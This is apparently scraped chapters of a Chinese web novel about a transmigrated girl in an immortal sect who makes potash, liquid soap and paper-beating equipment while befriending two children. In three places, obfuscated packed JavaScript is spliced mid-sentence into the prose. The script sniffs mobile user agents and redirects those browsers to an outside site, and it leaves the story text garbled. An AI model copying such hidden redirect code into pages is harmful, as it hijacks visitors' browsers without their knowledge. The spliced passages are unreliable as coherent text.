一下子知道了他们两个身份居然如此不简单……我看了眼手头的牙刷,一阵苦恼。 本来可以普通地在饭桌上给她们的……现在这个情况,我直接当众给,会被当作是在巴结她们两个吧。 还是这么简陋的东西……一下子觉得拿不出手了。 想办法偷偷塞给她们好了。 我走到院子里,洗了把手,甩掉手上的水滴后,转向我这一周时间的战斗成果。 徐庶的旧物八成都是各种武器,现在的我拿不动,她在家时我们才能收拾。在重新找人打了武器架,把那些武器收纳好后,我在库房里又翻找出了一个不知什么时候的石头水缸,和乱七八糟的石头碗木碗若干。 清洗干净后就可以用来做容器了。 我还去山上收集了一些竹子(顺便一提隐鸢阁所在的这一整座山头都可以算是左君的,我在请示过他可不可以采些植物来用的时候也被准许了)。此时深刻地体会到了那句古诗的意义——可使食无肉,不可居无竹*,真的不能啊!竹子能做的东西也太多了!! 首先就是造纸步骤里那个用来抄纸的东西,用竹子来编就省下了麻线的钱,还更结实耐用,不像麻线那么容易坏。 其次就是竹节可用来作为烧制竹盐的容器。竹盐能让牙膏更有摩擦力,带走牙齿上附着的食物残渣。 以及竹子本身也可以用来造纸,不过竹子要比树皮或者麻之类的难处理得多,就算现在准备上,搞不好等到制成已经是一年后了。 所以我还是收集了不少树枝,用了好几天的时间把它们的皮剥下来,泡进水里,等泡好了拿来打纸浆。 它们要在水里泡起码十天才能拿来用,这十多天的时间,我会用来研究制作机器和做些别的东西。 比如说做肥皂——制皂的原料就更简单了——我已经有了椰子油,剩下的只要做些碱水,一个简单的皂化反应就能成了。 当然,以目前的这些椰子油的珍贵程度,肯定不能拿它们做实验——以前制皂都是用市售的氢氧化钠或者氢氧化钾,比例可以精确计算。 但现在,我只能用草木灰水和生石灰(甚至这生石灰也是靠从厨房拿来的蛤蜊壳烧出来的),做出充满杂质且根本不知道浓度的氢氧化钾溶液。 虽然和椰子油已经是老朋友了,大概知道要放多少碱,但是不事先用其他稍微便宜一些的油试一试我的手制氢氧化钾溶液,肯定是不行的。 所以,就又拜托徐庶帮我带了一些猪油回来。 ……心里突然酸酸的。 徐庶她根本不知道我要这些东西干什么,即使如此,不管是猪油还是几乎是天价的椰子油,她都买来给我了。 还有那些工具……铁质的,都要不少钱。 ……明明我只是一个孤儿,一个被硬塞到她手里的徒弟。她不管我也根本不会有人说什么。 即使是这样,她还是选择了支持我。 我手扶着盛满了雪白油脂的两个木罐子,做了一个决定。 做热制液体皂。虽然制作难度更高,过程更麻烦,但成品的卖相相比冷制的固体钾皂,会更好。 只要卖相够好、使用感更好、价格够合适——这个山上不缺家里有钱的人,他们会很愿意在生活里多花一笔钱来让自己活得更舒适。 ……起码要把徐庶投给我的本钱给她赚回来。如果够顺利,以后我养着她也没问题。 说干就干。 要保证出品的质量稳定,那就要从做碱水这一步就严格控制。要计算水和草木灰,以及生石灰添加的量—— 好麻烦啊……我心想。太难控制了,我也没有办法去测溶液的浓度,最后的成品相当不好把握。 不如试试蒸发掉水取氢氧化钾粉末……?用粉末融进定量的水里,比直接用溶液更能方便地控制浓度吧。 两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536098|203813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种办法都试试看好了。 不清楚的事情也太多了。本来就不是理科生,上次打开化学课本已经是高中分科之前的事情了。 如果不是曾经对手工皂感兴趣,我连碱是什么大概都不会知道。 不管了,总之先试试吧,反正……除了每天固定的练武之外我也根本没有别的事情可做!时间充裕的很! 制取氢氧化钾这个部分的操作还算简单,相比较其他的化学实验,对器材温度之类的要求没那么高。而且我也不打算苛求自己做出纯度很高的成品来,总之先实验实验。 将草木灰跟水混合,先泡一天。 这一天的时间也不能浪费。我跑到山里的小溪边,捡了不少河蚌,带回家之后,把肉剜出来,清洗干净送去厨房让他们处理,剩下的壳拿来煅烧生石灰。 越多越好……让生石灰和草木灰水充分反应,再过滤掉杂质…… 就成了!一份比较粗糙的溶液! 然后就是一直煮它,直到水分蒸发完,只留下固体。 一直到这一步,我都像盲人摸象一样地做着实验。最后看着锅底那一点点的固体,心里忐忑至极。 也不知道成没成……总之,先拿一些猪油试试看。 我拿着从史君那里借来的天平和砝码——做实验做到一半才想起自己没有称重的工具,还是从辩儿那里知道史君平时炼丹,跑去他那里借来了一个称重的设备。 这个时候的称重工具不是很准确,好像重量本身也跟后世不太一样……凑合用吧,反正我知道比例,大不了多试几次。 称好油脂和氢氧化钾粉末的重量……加水溶解氢氧化钾做溶液…… 热制皂需要控温,这个部分也只能靠我的经验了。把它们加热、混合,疯狂搅拌!!! 然后就是把搅拌成软软的固体的皂体放在合适的温度保温一整天,让它充分皂化。 我猫在厨房的灶台边。看外面的天色似乎快要天亮了,我试了试温度,又添了一块柴。 小孩子的身体经不住熬夜,我刚刚在灶边睡了一会儿,硬是靠意志力醒过来,继续看着火。 裹着不知道是谁给我披上的毯子,两个眼皮还在打架。 一定,一定要成功啊!! 只要能成功…就不用忍受根本没什么清洁力的皂角了!!就能洗个痛快的澡了!! 顺便带着徐庶发家致富!!我狠狠攥了攥拳。 ——————————————————————— 参考资料:@本沫制皂@鲁磊 *:那句诗完全不是那个意思…… 任何化学实验都有一定风险,请千万不要随意自行尝试。本书中涉及化学的部分大概只有这些了,我再也不想写了…… 7. 初来7 ……这就算是成了吧。 我手捧着装着浅灰清澈粘稠液体的木碗,感觉快哭了。 不枉我熬了这六七天的夜……终于让我试出正确的配比了!!! 皂化程度刚刚好,洗感也不错。 整个过程除了熬夜辛苦一点,居然只做了一个星期左右的实验就成功……可以了,很幸运了! 毕竟只要成功一次,后续量产就不难了! 我仔细地把记着配方的竹简放进徐庶床下装钱的箱子里。其实脑子里已经记住每样材料要加多少了,不过以防万一还是要备份一下。 以及把其他记着错误比例的竹简都销毁——因为要准确地记录,所以我没有像之前那样用简笔画,而是用的简体字和化学公式,还是横着写的,这些东西被外人看到不好解释。 感觉自己像个心机深沉的幕后主使,正在清理记载着自己罪行的证据一样!我把竹简丢进火里的时候,突然有一种控制不住的戏瘾浮上心头,情不自禁对着火堆桀桀狞笑了起来! ……然后突然清醒过来了。真是的,长时间的睡眠不足真的会把人搞得很奇怪。 说起来这几天都没见到徐庶……也没见到两个孩子。大概是徐庶见我在忙,就带着他俩去其他地方玩了。 不管了!先补觉吧!!我要睡一整天! 趁着天还没黑,我在水井边速度洗了个战斗澡。这里条件不如现代,洗热水澡要耗费很多柴火人力,所以能用到热水的洗澡机会一周只有一次。 但我实在受不了一周才洗一次澡,所以这几天,我都是早上打一盆水出来,放在院子里暖着,等下午两三点最热的时候用温凉的水洗一次——只能洗一次,如果着凉感冒就糟糕了。 而且因为这里原始的沐浴用品只有皂角,清洁力有限,就算天天洗,我也总觉得没洗透。 现在!有肥皂了!我很困,大脑却很兴奋。有了肥皂,就能洗个干干净净的澡了! 正好明天就是休沐日!在热气腾腾的浴室,彻彻底底清理自己! 天呐,好幸福。以前从来没在意过每天都能保持干净竟然是这么幸福的一件事。 先留下自己用的、给史君当作借天平的谢礼的和献给左君的,然后就可以拿去卖了。 …… 一觉醒来已经快中午了。我走出房间,堂屋的桌子上放着徐庶给我留的早饭。 啊,这两天都是这么过来的呢。我坐在桌边啃着叶儿粑心想。因为需要时时观察皂块的情况,我这几天完全没去大饭桌那里吃饭,都是徐庶帮我打包一点,我随便吃一下填填肚子。 不知道徐庶在不在家……我推门出去,看见徐庶站在门口,好像在跟谁说话。 有客人来?我刚想回避,突然听见了熟悉的声音。 “梨树今天能跟我玩了吗?”小姑娘委屈的声音响起。 哦哦……是小宝…… 啊这,说起来确实已经整整一个星期没见面了!!天呐这个时间长度对小孩子来说也太久了! 沉浸在自己的世界里,就这么把她忘了…… 感觉有点尴尬,我刚想过去,就听见徐庶开口了,“梨梨今天……可能还有点不舒服……这样小宝,徐神今天再带你下山去玩好不好?” “……”我没有听见回话,但是徐庶突然慌了,“小宝??哎哟怎么掉金豆豆啦?徐神擦擦,擦擦……” 啊!竟然哭了! 我赶紧跑过去,从徐庶身后探出脑袋来。 小姑娘整张脸都憋红了,嘴撅得能挂油壶,她一抬头,跟我对上了视线。 啊……嗨……我一时之间有点心虚,举起手跟她打了个招呼。 但是她没理我,一转身“哒哒哒”跑远了。 “哎!小宝你去哪啊!”徐庶也慌了,让我呆在家里别乱跑后快步追了上去。 那个方向……是云帝宫主殿,她和左君住的地方吧。 反正也要把东西给左君。我速度收拾了一下自己,换了身衣服,捞起装着液体皂的陶罐,追了上去。 到了云帝宫,没见到他们三个,我把陶罐放到堂屋桌子上,甩了甩胳膊。 好重……这个小孩子的身体也太柔弱了,还是不能把修炼落下,得赶紧让身体变得强壮起来。 说起来……小宝那边怎么办? 因为我一个星期没理她,发了很大的脾气呢,都哭了。 毕竟在她眼中,是作为她的好朋友的我,莫名其妙单方面和她冷战了一星期。 天呐,这么一想感觉好过分。以后一定不能一声招呼都不打就埋头苦干了。 嗯……送个什么礼物给她呢……她应该也不缺玩具,有什么是她从来没见过的好玩的…… 我正埋头苦想,突然听见屋门响起的声音。我一抬头,看见辩儿一脸复杂地从里屋出来,推开门走向我。 “她哭得好厉害。史君不让我呆在里面,让我自己出来玩一会。” 竟然比我想象的更伤她的心……我捂住了脸。 辩儿看着我这样,很体贴地没有再说什么,转而问我,“你这几天都在干嘛啊?吃饭也不在,找你玩,徐神也不让我们找你。” 我放下胳膊,伸手把那个陶罐推向他,“我在做洗澡的,呃,药水。” “洗澡的药水?为什么要做这种东西?” 他打开陶罐,用我放在里面的勺子搅了搅,“好奇怪哦,黏黏的。啊,怎么是透明的!” “这个不一样的。这个洗得更干净。”我试图跟他解释,“我没有故意不理你们……只是,做这个很费工夫,我忘记跟你们说了。” 辩儿把陶罐放回原处,左右看了看。这会儿大殿里人少,他见左右没人才让我把耳朵凑过去。 “这个,就是你前世的老师让你做的?” “嗯。”我看着他,点了点头。 他露出了惊讶的表情,又看了看陶罐里的液体皂,“居然是这样……那下次你要跟我们说嘛。我们一起玩这个。” 嗯嗯嗯……我狂点头。 他看着我这样,“噗”一下笑了。但是他又立刻收起了笑容,认真跟我说,“一会儿师尊出来,你一定要好好认错啊,不然会被徐神打屁股的。” 哎……?不至于吧,这么点小事……我看他的表情,他很认真地看着我,点了点头。 至于的。 唉……毕竟只是两个五岁小孩之间的矛盾,徐庶肯定不会让我因为这点小事被左慈不喜,她动手打一顿我的屁股让左慈消气也合理。 我在心里叹了口气。 只是……实在太丢脸了,就没有什么办法能糊弄过去吗? 又等了好一会儿,先是左慈出来了。他走到桌边坐下,辩儿跑到我身边和我站在一起。 你要不先回去吧……我小声跟辩儿说。 他摇了摇头,也小声跟我说,他想等会儿再进去看看她。 然后徐庶也出来了。她的表情有点尴尬,走到侧座坐下,示意我到她身边站着。 “那个……咳,辩儿,你要不要进去看看小宝?再和她说说话?” 徐庶开口道。辩儿听到可以进去和她说话了,开心地点了点头,飞奔着去里屋了。 然后殿里就剩下了我和徐庶,以及一个拿着茶盏心不在焉地划来划去,看起来相当低气压的左慈。 也不能怪他生气。谁家孩子受了委屈家长能沉得住气呢。 徐庶似乎打算开口替我说话,但我打断了她。 我走上前向着他一抱拳,“师尊。弟子这几日忙于制作净体药,耽误了见礼,请师尊责罚。” 左君动作一滞,终于不玩那个可怜的茶盏了。他把茶盏放下,看向我。 “净体药是何物?” 我上前一步,将桌子上的陶罐推向他,“此物便是净体药。虽然名字是净体,但它不止可以用来清洁体肤,衣物被褥之类也可以用它清洗,比皂角洗得更干净。” 左君拿陶罐里的勺子搅了搅,看起来兴趣不大。他看向我,脸上的表情无奈中带着一些不满。 “花费这许多时间,只为做这种东西吗。若是不把心思放在习武上,日后该如何?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536099|203813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 我没想到竟然是这样的话。还以为他会因为我冷落了小宝,不管其他的先骂我一顿…… 我只好抱拳向他一揖,“师尊教训的是。” 他深吸了一口气,严厉地开口,“你的身世特殊。徐庶可一时做你的依仗,却不能一生时时刻刻伴你左右。吾告诫你需专心修行,也是为你的前途考虑。” “你与她同龄,从小陪伴她身边,若是能有一技傍身,便可成为她的左膀右臂,不必像普通女子一般,一生在内宅搓磨。其中道理,你该明白。” 这番话更是我没想到的。 我这才意识到我之前把他想象得太狭隘。之前只以为他是个不爱管闲事,并且有点溺爱孩子的普通家长。更别说那两个孩子身份尊贵,我只想着或许只有这几年会和他们在一起,待长大后,巨大的身份差距会让我们的人生再无交集——我一点也不想靠着往日交情去求她们身边的某个闲职,做个讨人嫌的菟丝子。 他不打算逼我低三下四攀附权贵,但也没有让我自谋生路、自生自灭。 他竟然思索过如何让没有任何根基的我,未来靠我自己的力量混口饭吃。 虽然我依旧无意去做危险的工作……但不得不说,在外人看来,我这个没有亲族照拂的孤女,在这个时代里就像一叶飘摇的孤舟,什么时候被风浪吞没都不奇怪。 而提升自己的武力做未来亲王的心腹,无疑是相比较从事其他行业而言,更可靠和更可行的出路。 即使我有其他的打算,此时也不应该再无视他的好意了。 我看着左君,正色敛容,重新行了个端正的抱拳礼,“师尊教诲,弟子谨记于心。弟子已明白师尊良苦用心,定不负师尊所望,绝不会自毁前程。” 他这才看起来满意了些。重新端起茶盏喝了一口,他又说:“你既已明白,吾也不会再多说什么。只是你将她惹哭之事,吾无能为力,要和好,还需自己想办法。” 啊!“弟子明白!那弟子就先告退了!” 我向他行过礼,又给徐庶行了礼,准备好了给她的“礼物”,向她的房间去。 我已经想到要用什么哄她了。 …… 我端着一个茶盏,推开门,探头往屋里看。 辩儿坐在床边,听见声音,抬头与我对上了视线。 他抬起小手向我招了招,示意我直接进来。我轻声走进屋,顺脚带上了门。 史君侧卧在床上,一手支着自己的身体,一手轻轻拍着床上的那个“蒙古包”。 难道哭累了睡着了? “史君。”我只好先跟他打招呼。 然后蒙古包以一个不自然的频率扭了两下。 啊原来没睡着啊。 那就好。 我坐到床边,跟辩儿面对面。我没有说话,朝他笑了笑,把茶盏打开。 里面没有茶水,只有我分装出来的一小碗皂液。 不知道能不能成功……我把手放进皂液里搅了搅,把手拿出来比成了一个“ok”的手势,轻轻往圈起来的食指和大拇指中间吹一口气—— “哇!!!”辩儿看着眼前的透明大泡泡,惊喜地喊出了声。 “好漂亮!!”他伸手去接,但泡泡一触便炸开了,留在手上一点点凉凉的水渍。 史君看见泡泡也露出了惊讶的表情,他轻轻拍了拍小宝说,“好孩子,你看梨梨带来了什么好东西?” 她咕涌咕涌,从被窝里探出脑袋来,眼睛通红。我沾上泡泡液,又吹了一个。 “哇!!”她立刻忘记那一点小小的尴尬了,从被子里钻出来,和辩儿坐在一起,接我吹出来的泡泡。 哼哼……果然。 没有人类幼崽能拒绝泡泡!!! “我明天可以去你家吗?”小宝眼睛亮亮地问我。 虽然明天要准备造纸的设备…… 我向她点了点头。 那个设备我已经有了头绪,只要模型组能顺利运作起来,那就成功一大半了。 也很适合目前的我的能力……还能顺便哄孩子!! 8. 初来8 “这个,这个要打在上面……跟我给你看的那个模型要一样!”我在树下,认真地叮嘱徐庶。 “知道了知道了,你师父又不是傻子!”徐庶踩在树枝上,拿着钻孔的刀往树上扎孔。 “小心不要掉下来……”那棵树还挺高,虽然徐庶身手很好,但在下面看还挺让人害怕的。 小宝和辩儿在一边吹泡泡玩——回家后我拿树枝编了一个“8”字型的手柄,用它沾泡泡液,可以吹出更多泡泡来。 我回头看了一眼。 小宝吹出了一大片泡泡,辩儿站在泡泡中间,张开手臂开心地转圈圈。 ……怎么感觉这一幕有点微妙的奇怪但又觉得没什么不对,算了,既然他们玩得开心就别管他们了。 我继续和徐庶做这个滑轮组跷跷板捶打机。 在考虑了很久实用性和还原难度,又做了几版小型的模型尝试过后,最终的结果就是这样一个装置。 这个装置的一头连接一根圆木,通过滑轮组,在另一头接一个能让小孩子坐在上面的圆盘,圆盘中间打孔、边上挖四个凹槽,绳结穿过孔洞和凹槽将圆盘固定住。 圆木很沉重,我坐在圆盘上,圆木略微上升,轻轻一跳就会下落。 全程圆木的移动距离其实都比较小,但是打纸浆本来就不需要像打年糕那样大力,所以就还好。 这样不需要时时求助徐庶,靠我自己也可以独自完成工作。 “嘿咻!”徐庶安装好了滑轮组,从树上跳了下来,又把另一头绑好。 “看看,有没有问题?” 我坐到圆盘上,试着用了两下。 还挺完美!而且也很结实。我们选的这棵树在我们住的院子里面,在水井背后,是一棵很高大的老树,徐庶一人甚至抱不过来它的主干。 打的孔很深,滑轮组是木质的——这个时候没有不锈钢,在户外的设备选木头的反而没那么容易坏。 我超级满意,面朝徐庶比了个大拇指。 徐庶看我这样也很高兴,笑着过来拧了拧我的脸。 “做好了吗做好了吗!”小宝看见徐庶跳下来,不吹泡泡了,跑过来抱着徐庶的腿。 我则拉出旁边准备已久的树皮,“已经做好了哦。你们两个谁想先试一试?” “我想!我想!”小宝高兴地蹦蹦跳跳。辩儿在一边看见她兴致那么高,本来也跃跃欲试,但是退了一步,没有开口跟她抢。 “一个一个来……”今天你们两个都会成为我的苦力……呵呵…… 要把手头攒下来的这些树皮,全部打成纸浆! …… 她们玩累了,我的纸浆也都打好了。 看看这完美的样子!我把打好的纸团团抓在手里,看着它们露出满意的笑容。 接下来就是把它们放进池子里抄纸!然后放在屋顶晾晒就行了! 可惜没有纸药……如果能往抄纸的水中加入一些植物胶,最终成品会更完美些。 史君会知道这附近有什么植物会生产植物胶吗…… ……嗯?我正拿着纸浆想事情,突然觉得四周黑下来了。 一抬头发现他们三个都围了过来。 “这个是什么呀?”小宝好奇地看,我顺手把手里的纸浆团团放进她手里,“这个,是用来造纸的。” “纸是什么……”小朋友惊讶于手里新奇的触感,边捏来捏去边问。 “啊,我在宫里时见过!”辩儿开口,“是一种特别的帛,但是很容易撕坏。” 徐庶捏了捏我的脸,“好啦!玩够了,咱们去吃饭吧!!” “好!!” 小宝把手上的纸浆团团扔进打纸浆的石缸,拉着辩儿往主殿跑去了。 徐庶帮我把纸浆们收在一起,放进刚刚盛放树皮的小竹篮里,又打水清洗了一下那个石缸。 唔……下午只要再去一下前辈那里,今天就不需要再出门了。不知道明天天气如何,不如明天一早再抄纸,如果还是晴天就晾起来。 “梨梨。”徐庶突然喊我。 “嗯?”我脑子里在想别的事情,随口一答应。 她走到我面前,低下头看着我,“待会儿吃完饭,咱们两个聊聊。” —— 大概能猜到她想跟我聊什么。 我的事情,能对她说到什么程度? ……首先,穿越的事情果然还是需要隐瞒。 说实话,我自己都不太理解我是怎么来到这个世界的。对于死亡这件事,我没有一丝一毫的记忆。 虽然那位女神给了我一个看似很合理的解释——选中我为祂完成带回神使、修正世界异常的使命,但整件事情没头没尾,选拔标准似乎也是完全随机,只是”恰好”我死了,而我似乎又有一些修炼的天赋,才被祂选中来做这个差事。 而祂似乎也因为前任神使的失踪,对这个世界的情况一无所知。 所以……神无法直接观测这个世界。祂只能通过在这个世界生活的“神使”,来了解这里的实际情况。 在这样的情况下,我被选中就成了一件很没有道理的事情。我对祂来说是一个陌生的灵魂,不熟悉我的性格,无法保证我的人品,并且对我没有太大的约束。 这看起来似乎是一个必然会失败的策略,先不论在这种几乎没有约束的情况下我会不会认真听话,就算我打算帮助祂,祂又凭何认为独自一人的我,有这个能力和意志完成任务?我也只是个家境和阅历都很普通的人,没有什么独特之处啊。 ……一堆谜团。在我彻底搞明白这件事之前,还是不要对徐庶说这件事了。 至于最近我搞的这些小发明……还是统一口径,就说是不知来路的老师传授的知识,其他的都假装不记得好了。 她肯定能察觉得到我并不是一个真正的孩子,这样的说法或许能为我的一些异常行为作出合理的解释。 还有修炼的事……这个,还是稍微试探一下这个世界的仙人们的修炼方式,再决定说到什么程度吧。 ……呼,总之就这样。我站在家门前,深呼吸了一口,推门走进院子。 徐庶是个很好的人。如果我的性格更天真可爱一点,大概能早一些和她变得亲密起来吧。 但我实在不敢去赌人性。 —— 我推开门,却没有看见徐庶。 在房间里吗……我在水井前打水洗了把脸,向她房间走去。 房门虚掩着,我推门进去,看见徐庶正在铺床。 说起来……徐庶几乎不用佣人呢。我们院子里只有一个做粗活的大娘。而且那人也不是时时刻刻都在,似乎还负责着其他宫室的业务。 “嗯?回来啦?”徐庶把被子潇洒地一抖,直起身来转身看我,“吃饱没?” “嗯。”我接话。 “……” “……” “师父,你有话要问我吗?”我见她犹豫着不知道怎么开口,只好先说话。 “也不算是有话问你……来梨梨,坐师父旁边来。”她坐在床上,拍了拍身边的位置。 我坐过去,她伸手搂住我。 跟第一天的时候很像……我心想。 跟我想象得不太一样……还以为会有更激烈的盘问。我抬头与徐庶对视,她看起来有些……小心翼翼? “梨梨,这两天玩得开不开心?” 一开始竟然问了这个。 “开心。”我只好顺着她的话说。 “呼……那就好。”她的表情瞬间轻松下来了。她笑着拍了拍我,站起来伸了个懒腰。 “那以后和小宝她们好好玩!还有什么想要的,尽管跟师父开口!” 我看着她丢下了这么一句“卡拿去随便刷”的霸气宣言,出门去院子里了。 ……嗯? 结束了?不问别的? 我准备了一路要怎么面对她的问题,结果竟然只是问了我最近有没有开心。 我从床上起来小跑出去。她没有出门,在院子里活动筋骨。 我扶着房门,看她拿起院子角落里晒被子的架子,在院子中心支开。 …… “你没有别的要问我的?”我开口问道。 她顿了一下,迅速扭头,脸上的表情又无奈又带着一点微怒,“梨梨!我是你师父你要用尊称啊!……唉,算了,”她单手叉着腰看着我,“师父就想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536100|203813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问你,你这段时间过得开不开心,没别的了。” “……”我定定看着她,相当疑惑。 她和我对视了半天,终于在我的坚持下败下阵来,撇开头深深叹了口气。 “真是的……你这孩子怎么这么让人操心……” “真不知道是问你好还是不问你好。”她无奈笑了,“心思明明这么重,怎么一点城府都没有……喜怒哀乐全写在脸上。” “你这两天……脸色稍微好看一点了,”她走过来蹲在我面前,抬手捏了捏我的脸,“前段时间的时候,表情那叫一个吓人。” 有吗?……有的吧。 确实是……最近才终于找到了一点活着的感觉。 就是这样脆弱的我,没有家人朋友关心帮助就连活下去的意志都没有的我。 那位女神到底看中了我什么呢。 “所以,”徐庶继续开口,“不用着急跟师父说你到底怎么了。等你什么时候……安定下来了,想好了,再跟师父仔细解释也不迟。” 我…… “但是有一点,你得听师父的。”徐庶突然又开口了,“你平时搞的那些小玩意儿,先别在外面乱说。” “怎么算乱说?” “就是……”她挠了挠后脑勺,斟酌着组织了一下语言道,“别跟外人说那种药……还有这个,”她一指院子里的滑轮装置,“是你做的。容易惹人猜忌。” “跟别人说是你从外面带回来的秘方行吗?”我问道。 “啊?啥子意思?”徐庶愣住了。 “说是你从外面带回来的秘方,大家不会怀疑的,这样就可以拿出去卖了。”我解释道。 “拿出去卖?你想拿它们卖钱?” “嗯。那个净体药,我觉得会很好卖。”我解释道,“它比皂角的清洁力高很多。我觉得有钱人会喜欢。” “现在我在想的就只有这一件事,我想靠自己的力量活下来。”我开口,“但现在的我没有可以独立生活的力量,我需要你。” “啊……”徐庶仿佛没懂为什么我突然坦露心迹,一时之间有点反应不过来。 “不依靠你的话,很多事情我都做不到。我需要你的帮助才能在这个世界生存下去。” “我不想把左君给我的路当作唯一的出路,我想试试更多的可能。”我说。 不了解的事,没有办法说明。连自己都不清楚的来路和去路,我没有办法向你解释。 但是至少我能向你袒露我内心的真实想法。 “……可以啊。你想走什么样的路,就尽管去试吧。师父看着你呢。” 徐庶放松地笑了。她站起来甩了甩蹲麻了的双腿,把我抱在怀里揉来揉去。 —— 商量好卖皂液的事情之后,我又问了她仙人们的事情。 从徐庶的口中得知,仙人们的力量来自于一种名为“仙胎”的物质。 仙胎存于仙人们体内,承担着类似丹田的作用,为仙人们供能。 但是他们并没有修炼方法……我向徐庶询问有没有可以让仙胎能量变强的方法,她说自然而然就会变强。 竟然是单纯靠资历的吗…… 活在世上的时间越长,能量积累得越多,实力就越强。 徐庶成仙三百余年,在仙门里资历并不算最年长。但她剑术精湛,比她活得更久的仙人也没几个比她更强的。也因为这身出类拔萃的武功,被阁主提拔作为他的副手。 阁主左慈,成仙的时间据说在更遥远的时代。 这个仙门内,还尘封着多少往事? 不知道这其中,有没有我想找的人的线索。 “那我走了!”徐庶晒好被子,拎着我交给她的装满皂液的瓦罐,出门找徐霞前辈去了。 “路上慢点~”我站在门口挥手送她走远。 把皂液寄放在徐霞前辈的摊子上,就不用自己费心思拉客户支摊子了。只要提供一些分成,就能达成一个愉快的合作。 分成也交给徐庶去谈了……给她添了不少麻烦呢。 徐庶是我的师父真是太好了。 我回房间准备好了下午要去拜访那个人要带的东西,也准备出门。 9. 初来9 我挎抱着小挎篮迈过门槛,把它放在脚边回身锁门。 刚刚在饭桌上时,跟小宝和辩儿约好了,下午要一起去史君的炼丹房玩。 我对门内还不熟悉,虽然有意要送东西给史君,但完全不知道史君平时呆在哪里。 她们两个就很熟悉这附近,我提出下午想和史君一起玩时,小宝自告奋勇说可以带我去。 史君听到我们三个要去找他玩,看起来也很开心,说会做好点心等我们。 好耶!有下午茶!史君前辈真是表里如一的带孩子技能满点…… 我才这么感慨着,并决定中午少吃一点给自己的胃留下点心的份额,突然看见徐庶和左君的脸色双双变了变。 然后不约而同地给我们三人的碗里多夹了些菜。 ? “不用不用不用!”徐庶先开口了,她哈哈笑着拍着我,“多麻烦,还要准备!让她们自己玩就是了!梨梨!” 她看向我,背对史君给我使眼色。 “好好跟小宝和辩儿一起玩,不许给史君添麻烦,听到没有?” “哦……哦。”我不明白她什么意思,只好点头。 “饮食自倍,肠胃乃伤。不要太溺爱她们了。”左君紧跟着开口,“无需额外准备吃食,用过午饭便足够了。” “啊……好吧。”史君看起来有点失落,下午茶就在他们两人的阻止下没有了。 难道说史君的厨艺很差吗……我拉了一把门锁,确认锁好了。 “梨——树———”我听见小宝喊我的声音,抬头看向声音传来的地方。 小宝抬起手臂挥舞着,辩儿跟在她身边,两人正向我走来。 她们身后还跟着三五人,看样子像是辩儿那边随侍的工作人员。 只是在山门内走动都需要这么些人跟着吗,不愧是皇子……我在心里默默感慨。 我拿起小竹篮——里面不止有要给史君的皂块(液体皂需要兑水使用,之前拿去给师尊的是兑好水的成品),还有从他那里借来的天平。 好——重!!装满了东西的竹篮太沉重,我要两只手挎抱着才能把它拿起来。 小宝看见了我,拉起辩儿的手跑了起来。工作人员们似乎被她的行为吓了一跳,但他们也不擅长快跑,只得拢起衣服快走着跟上。 “我们来啦!”跑到近前她松开了辩儿的手,张开双臂使劲把我抱进怀里。 救命……好重……我要倒了…… 差点站不住的这一刻,辩儿嘻嘻笑着跑到我的另一侧撑住了我。现在虽然不会摔倒了,但是…… 被他们两个夹在中间……好挤! “好挤……放开……”我被他们两个挤得歪来歪去,虚弱地发出抗议的声音。 “嗯?一点也不挤啊?”小宝又用了些力气把我往辩儿那边压。 “对啊,哪里挤了?”辩儿笑得停不下来,感觉到小宝的力气,他也隔着我往小宝那边使力。 两个小坏蛋!!! 这个篮子太阻碍我发挥了!!我想挣开他们两个的手,但是单凭躯体的力量根本没办法扭开。她们两个个子都比我更高,体重也比我重一些,力气自然也比我更大。 不管从哪边突围都出不去…… 怎么回事,怎么感觉到了这个世界之后认识的所有人从百岁仙人到人类幼崽都是大力啊! 啊……不行了……站不住了…… 我腿一软,体力耗尽,一屁股坐在了地上。小宝抱着我的脖子,辩儿抱着我的肩膀,我们三个一起摔在了地上。 我的衣服——— 刚换的新衣服瞬间就脏了啊啊啊啊啊啊啊—— 小宝完全不在意衣服和头发上会不会沾上尘土,躺在地上哈哈大笑。辩儿摔倒之后也在笑个不停,但他没有像小宝和我一样随意地躺坐着,下意识撑地正坐起来。 这时工作人员们才姗姗来迟——他们的那一身衣服实在不方便行动——小步跑过来惊慌地来搀扶辩儿。 我的皂块……还好都是固体,我还额外用包袱包了起来,没有弄脏弄丢。 史君的天平不会被压坏吧……我担心地拿起来检查,看起来没有歪斜,那大概……没事? 真是的!下次和他们一起玩一定要把容易损坏的物件收起来…… 小宝一个鲤鱼打挺从躺着直接跳了起来。她拍了拍屁股上的土,伸出双手来拉我。 我就着她的手站起来,也拍了拍衣服,看着自己手上的泥土一阵语塞。 又想了想徒手洗衣服的难度,默默决定今天回家之后开始研究做一些常用的家电。 